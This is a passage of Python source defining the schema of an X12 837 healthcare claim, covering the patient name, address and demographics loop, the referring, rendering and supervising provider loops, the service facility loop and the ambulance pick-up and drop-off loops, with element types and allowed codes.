position=7,
codes=[],
),
),
Element(
"HCP08",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=8,
codes=[],
),
),
Element(
"HCP09",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=9,
codes=[],
),
),
Element(
"HCP10",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=10,
codes=[],
),
),
Element(
"HCP11",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=11,
codes=[],
),
),
Element(
"HCP12",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=12,
codes=[],
),
),
Element(
"HCP13",
Properties(
desc="Reject Reason Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=13,
codes=["T1", "T2", "T3", "T4", "T5", "T6"],
),
),
Element(
"HCP14",
Properties(
desc="Policy Compliance Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=14,
codes=["1", "2", "3", "4", "5"],
),
),
Element(
"HCP15",
Properties(
desc="Exception Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=15,
codes=["1", "2", "3", "4", "5", "6"],
),
),
),
parsed_837_2310A,
parsed_837_2310B,
parsed_837_2310C,
parsed_837_2310D,
parsed_837_2310E,
parsed_837_2310F,
parsed_837_2320,
parsed_837_2400,
)
parsed_837_2010CA = Loop(
"2010CA",
Properties(
desc="Patient Name", looptype="", position="0150", repeat="1", req_sit="R"
),
Segment(
"NM1",
Properties(
desc="Patient Name",
position="0150",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["QC"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Patient Address", position="0250", repeat="1", req_sit="R", syntax=""
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Patient City, State, ZIP Code",
position="0300",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"DMG",
Properties(
desc="Patient Demographic Information",
position="0320",
repeat="1",
req_sit="R",
syntax="P0102 P1011 C1105",
),
Element(
"DMG01",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["D8"],
),
),
Element(
"DMG02",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=2,
codes=[],
),
),
Element(
"DMG03",
Properties(
desc="Gender Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=3,
codes=["F", "M", "U"],
),
),
Element(
"DMG04",
Properties(
desc="Marital Status Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=4,
codes=[],
),
),
Composite(
"C056",
Properties(
desc="Composite Race or Ethnicity Information",
refdes="",
repeat="10",
req_sit="N",
seq="05",
),
),
Element(
"DMG06",
Properties(
desc="Citizenship Status Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=6,
codes=[],
),
),
Element(
"DMG07",
Properties(
desc="Country Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=7,
codes=[],
),
),
Element(
"DMG08",
Properties(
desc="Basis of Verification Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"DMG09",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=9,
codes=[],
),
),
Element(
"DMG10",
Properties(
desc="Code List Qualifier Code",
req_sit="N",
data_type=("ID", "1", "3"),
position=10,
codes=[],
),
),
Element(
"DMG11",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=11,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Property and Casualty Claim Number",
position="0350",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["Y4"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Property and Casualty Patient Identifier",
position="0350",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["1W", "SY"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"PER",
Properties(
desc="Property and Casualty Patient Contact Information",
position="0400",
repeat="1",
req_sit="S",
syntax="P0304 P0506 P0708",
),
Element(
"PER01",
Properties(
desc="Contact Function Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["IC"],
),
),
Element(
"PER02",
Properties(
desc="Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=2,
codes=[],
),
),
Element(
"PER03",
Properties(
desc="Communication Number Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=3,
codes=["TE"],
),
),
Element(
"PER04",
Properties(
desc="Communication Number",
req_sit="R",
data_type=("AN", "1", "256"),
position=4,
codes=[],
),
),
Element(
"PER05",
Properties(
desc="Communication Number Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=5,
codes=["EX"],
),
),
Element(
"PER06",
Properties(
desc="Communication Number",
req_sit="S",
data_type=("AN", "1", "256"),
position=6,
codes=[],
),
),
Element(
"PER07",
Properties(
desc="Communication Number Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=7,
codes=[],
),
),
Element(
"PER08",
Properties(
desc="Communication Number",
req_sit="N",
data_type=("AN", "1", "256"),
position=8,
codes=[],
),
),
Element(
"PER09",
Properties(
desc="Contact Inquiry Reference",
req_sit="N",
data_type=("AN", "1", "20"),
position=9,
codes=[],
),
),
),
)
parsed_837_2310A = Loop(
"2310A",
Properties(
desc="Referring Provider Name",
looptype="",
position="2500",
repeat="2",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Referring Provider Name",
position="2500",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DN", "P3"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Referring Provider Secondary Identification",
position="2710",
repeat="3",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2310B = Loop(
"2310B",
Properties(
desc="Rendering Provider Name",
looptype="",
position="2500",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Rendering Provider Name",
position="2500",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["82"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"PRV",
Properties(
desc="Rendering Provider Specialty Information",
position="2550",
repeat="1",
req_sit="S",
syntax="P0203",
),
Element(
"PRV01",
Properties(
desc="Provider Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["PE"],
),
),
Element(
"PRV02",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["PXC"],
),
),
Element(
"PRV03",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"PRV04",
Properties(
desc="State or Province Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=4,
codes=[],
),
),
Composite(
"C035",
Properties(
desc="Provider Specialty Information",
refdes="",
repeat="",
req_sit="N",
seq="05",
),
),
Element(
"PRV06",
Properties(
desc="Provider Organization Code",
req_sit="N",
data_type=("ID", "3", "3"),
position=6,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Rendering Provider Secondary Identification",
position="2710",
repeat="4",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2310C = Loop(
"2310C",
Properties(
desc="Service Facility Location Name",
looptype="",
position="2500",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Service Facility Location Name",
position="2500",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["77"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Service Facility Location Address",
position="2650",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Service Facility Location City, State, ZIP Code",
position="2700",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Service Facility Location Secondary Identification",
position="2710",
repeat="3",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"PER",
Properties(
desc="Service Facility Contact Information",
position="2750",
repeat="1",
req_sit="S",
syntax="P0304 P0506 P0708",
),
Element(
"PER01",
Properties(
desc="Contact Function Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["IC"],
),
),
Element(
"PER02",
Properties(
desc="Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=2,
codes=[],
),
),
Element(
"PER03",
Properties(
desc="Communication Number Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=3,
codes=["TE"],
),
),
Element(
"PER04",
Properties(
desc="Communication Number",
req_sit="R",
data_type=("AN", "1", "256"),
position=4,
codes=[],
),
),
Element(
"PER05",
Properties(
desc="Communication Number Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=5,
codes=["EX"],
),
),
Element(
"PER06",
Properties(
desc="Communication Number",
req_sit="S",
data_type=("AN", "1", "256"),
position=6,
codes=[],
),
),
Element(
"PER07",
Properties(
desc="Communication Number Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=7,
codes=[],
),
),
Element(
"PER08",
Properties(
desc="Communication Number",
req_sit="N",
data_type=("AN", "1", "256"),
position=8,
codes=[],
),
),
Element(
"PER09",
Properties(
desc="Contact Inquiry Reference",
req_sit="N",
data_type=("AN", "1", "20"),
position=9,
codes=[],
),
),
),
)
parsed_837_2310D = Loop(
"2310D",
Properties(
desc="Supervising Provider Name",
looptype="",
position="2500",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Supervising Provider Name",
position="2500",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DQ"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Supervising Provider Secondary Identification",
position="2710",
repeat="4",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2310E = Loop(
"2310E",
Properties(
desc="Ambulance Pick-up Location",
looptype="",
position="2500",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Ambulance Pick-up Location",
position="2500",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["PW"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Ambulance Pick-up Location Address",
position="2650",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Ambulance Pick-up Location City, State, ZIP Code",
position="2700",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
)
parsed_837_2310F = Loop(
"2310F",
Properties(
desc="Ambulance Drop-off Location",
looptype="",
position="2500",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Ambulance Drop-off Location",
position="2500",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["45"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Ambulance Drop-off Location Address",
position="2650",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Ambulance Drop-off Location City, State, ZIP Code",
position="2700",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
)
parsed_837_2330A = Loop(
"2330A",
Properties(
desc="Other Subscriber Name",
looptype="",
position="3250",
repeat="1",
req_sit="R",
),
Segment(
"NM1",
Properties(
desc="Other Subscriber Name",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
